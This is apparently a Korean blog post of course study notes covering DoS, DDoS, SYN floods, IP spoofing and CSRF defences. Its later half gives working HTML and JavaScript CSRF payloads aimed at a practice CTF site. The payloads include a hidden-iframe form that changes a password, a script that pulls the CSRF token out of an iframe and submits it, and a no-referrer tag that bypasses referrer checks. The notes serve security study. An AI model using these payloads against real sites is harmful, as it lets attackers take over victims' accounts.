DOS / DOS 공격종류 / CSRF 공격 시나리오 / REFERRER
DoS (Denial Of Service)
- 서비스 거부공격 -> 서버가 서비스를 하지 못하도록 함
- 서비스 -> 웹 서버의 로그인, 회원가입 등등의 서비스
DoS 전략
- 애플리케이션 취약점
- 서버 리소스 소모
- 네크워크 대역폭 소모
- 물리적 테러
애플리케이션 취약점
- 서버 취약점 필요
- 버그 유발
- 아파치 프로그램 종료
- 게시판 -> 타계정 삭제 공격
- 로그인 -> 비번 오류횟수 제한 이용 로그인 하지 못하도록 가용성 침해
서버 리소스 소모
- 서버 취약점 필요
- 게시판 -> 자료 업로드 기능 서버디비를 가득 차게 해서 자료 업로드를 못하게
- CPU 소모
네트워크 대역폭 소모
- 서버에 취약점 없어도 가능!!
- 트래픽 유발 -> 많은양의 데이터 보내어 통로 막히게 한다
DDos (Distributed Denial Of Service)
- 분산 서비스 공격
- 여러대의 컴퓨터를 이용해 공격 -> C&C Server
C&C Server (C2 Server / Command & Control Server)
- 명령을 내리는 주인 컴퓨터가 크랙파일들로 좀비컴퓨터를 만들어서 다룬다
- 지정 시간간격으로 공격, 조종 가능함을 알리고 이를 통해 이득을 취하는 방법
DRDos (Distributed Reflected Denial Of Service)
- 클라이언트 측에서 간단한 값을 보내고 서버에서 큰 값을 보내게 될때
- ip주소를 바꿔 보내서 나에게 값이 수신되도록 한다
- IP Spoofing
IP Spoofing
- 아이피를 변조하여 보내는 공격
- 응답을 받지 못한다.
TCP/UDP
- IP주소 -> 컴퓨터 주소
- 네트워크 패킷 전달 역할의 포트 번호 담당
- 포트당 TCP/UDP의 두가지 타입이 있다
- 각각 데이터를 전달하는 규칙(PROTOCOL)이 다르다.
TCP
- 데이터를 안전하게 보내고 싶을때
- 데이터가 변조되거나 순서가 뒤바뀌지 않게
- 데이터를 보내기전에 상대 네트워크와 연결 협상을 한다
- 3 WAY HANDSHAKE [SYN -> SYN/ACK -> ACL (여보세요 -> 네 여보세요 -> 네)]
- HTTP는 TCP 프로토콜이다 -> 로그인요청을 보내면 SYN이 가니까
UDP
- 데이터 덩어리를 보낸다
- 연결 협상X 질의X
- 심플 빠름
DOS 공격 종류
- C&C Server
- SYN FLOOD
- IP SPOOFING
C&C Server (C2 Server / Command & Control Server)
- 명령을 내리는 주인 컴퓨터가 크랙파일들로 좀비컴퓨터를 만들어서 다룬다
- 지정 시간간격으로 공격, 조종 가능함을 알리고 이를 통해 이득을 취하는 방법
SYN Flood
- 3WAY HANDSHAKE에서
- ACK 주지않고 SYN만 겁나보냄 그래서 부하를 걸리게 한다
- HTTP 80포트 암호화 안함
- HTTPS 443포트 암호화 함
- 와이파이에서 HTTP사이트는 암호화가 안되어 통신내용을 다 볼 수 있다 따라서 VPN을 사용
*데이터 평문 전송 취약점도 존재
IP Spoofing
- 아이피를 변조하여 보내는 공격
- 응답을 받지 못한다.
CSRF
- 피해자가 서버로 임의의 요청을 보내게 만드는 공격
1. 중요한 요청 판단되는 것을 식별
2. 해당 요청 생성가능 여부 체크 -> CSRF 존재
3. GET METHOD 체크
* 방어 -> POST METHOD로 처리 되도록 구현
4. POST FORM TAG로 보냄
* 방어 -> 요청데이터가 공격자가 미리 세팅 할 수 없도록 CSRF TOKEN 추가 CSRF TOKEN
5. DOCUMENT TOKEN 을 가져와서 보내기
* 방어 -> REQUEST의 REFERRER에서 특정위치에서 보낸 요청만 처리되게 한다.
CSRF TOKEN
- 특정페이지로 들어갈때 HIDDEN으로 랜덤값의 TOKEN을 생성하고 저장
- 그 후 랜덤값을 특정페이지 안에 넣어서 보낼 때만 요청이 처리 되는 것
* 요청이 특정페이지 뿐만아니라 다른 페이지 에서도 사용하면 이때도 CSRF토큰을 넣는것을 깜빡하기도 한다 *
* CSRF_TOKEN 파라미터가 없으면 CSRF TOKEN검사를 하지 않게 개발하기도 한다
REFERRER
- REQUEST의 REFERRER에서 특정위치에서 보낸 요청만 처리되게 한다.
- 우회 방법 없음
- 확장성이 떨어짐
- 하지만 REFERRER을 제대로 체크하기 어렵다 서비스에 지장이 가기도 하기때문에
- 에러시 눈감아주거나, 다른 사이트에서도 같은 요청이 필요 할 때도 있기 때문이다
- 그러나 REFERRER를 없애고 보내면 에러 안나고 요청이 갈 수 있다
근본적인 대응 방법
- 인증정보 넣는다 -> 2차비번 1차비번 핸드폰인증 등
- 그러나 게시글쓸때마다, 댓글쓸때마다 인증할 수 없으니 적절하게 위험한 부분에서만 사용한다.
CSRF 공격 시나리오
- LINK (GET METHOD)
- XSS (POST METHOD)
- GET TOKEN (IFRAME)
- DELETE REFERRER
CSRF LINK
- GET METHOD로 요청이 보내질 때 요청이 포함된 URL을 접속하도록 유도한다
EX) http://~~~/?passwd=1&confirm=1&submit=submit
- URL SHORT 사용 -> URL이 너무 길어서 전송이 안될때 혹은 URL이 수상할때 SHORT URL에서 만든다
EX) shorturl.at/~~~로 축약
CSRF with XSS
- POST METHOD로만 요청일 보내질 때 XSS취약점을 함께 이용한다
- XSS 취약점으로 POST FORM TAG 를 삽입해서 POST 요청을 보낸다.
EX)
<h1>아래버튼을 클릭해 주세요!</h1>
<form method="POST" action="http://ctf.segfaulthub.com:7575/csrf_2/mypage_update.php" id="sendForm" target="stealthFrame">
//틀에 마이페이지 링크 삽입, POST값으로 form 생성
<input type="submit" name="pw" value="1"/>
//보낼 비밀번호 값
</form>
-> IFRAME 사용X
<iframe id="stealthFrame" hidden></iframe>
//POST값을 접속할 마이페이지의 틀
<form method="POST"
action="http://ctf.segfaulthub.com:7575/csrf_2/mypage_update.php"
id="sendForm" target="stealthFrame">
//틀에 마이페이지 링크 삽입, POST값으로 form 생성
<input type="hidden" name="pw" value="1"/>
//보낼 비밀번호 값
</form>
<script> document.getElementById('sendForm').submit(); </script>
//form 값 제출
-> IFRAME 사용O
CSRF GET TOKEN
- TOKEN값을 같이 보내야 할 때
- IFRAME으로 토큰 값을 빼오고 이를 FORM TAG로 전송한다.
<iframe
src="http://ctf.segfaulthub.com:7575/csrf_3/mypage.php"
id="getToken" onload="token()" hidden>
</iframe>
//토큰 함수가 로드되면 실행될 토큰을 얻을 마이페이지의 틀
<form
action="http://ctf.segfaulthub.com:7575/csrf_3/mypage_update.php"
id="sendForm" method="POST" target="sendToken">
<input type="hidden" name="pw" value="1">
<input type="hidden" name="csrf_token" value="">
</form>
//마이페이지 업데이크 링크에 POST값으로 비밀번호 값과 토큰값을 넣을 form 생성
<script>
function token() {
document.getElementById('getToken').contentWindow.alert = function() {};
//마이페이지에서 실행되는 alert함수를 삭제
var csrfToken = document.getElementById('getToken')
.contentWindow.document.getElementsByName('csrf_token')[0].value;
//마이페이지에서 토큰이 발행되는 태그이름을 통해 토큰을 가져옴
document.getElementById('sendForm').querySelector('input[name="csrf_token"]')
.value = csrfToken;
//마이페이지에서 가져온 토큰을 업데이트 form에 삽입
document.getElementById('sendForm').submit();
//마이페이지 업데이트 링크에 생성한 폼 제출
}
</script>
CSRF REFERRER CHECK
- REFERRER값이 존재할때 REFERRER를 삭제하여 요청이 보내는게 가능하다
EX)
<meta name="referrer" content="no-referrer">
-> META TAG 삽입
'개념정리' 카테고리의 다른 글
15주차 FILE INCLUDE / LFI /RFI / FILE DOWNLOAD (0) | 2024.03.04 |
---|---|
14주차 SERVER SIDE SCRIPT / FILE UPLOAD / WEBSHELL / 파일 검증 우회 (1) | 2024.03.01 |
12주차 CSRF POST GET / CSRF VS XSS / CSRF WITH CSS / CSRF TOKEN (0) | 2024.01.25 |
11주차 XSS대응방안 / EVENT HANDLER / CLIENT SCRIPT (1) | 2024.01.15 |
10주차 XSS COOKIE / DOM BASED XSS / XSS 대응방법 (0) | 2023.12.28 |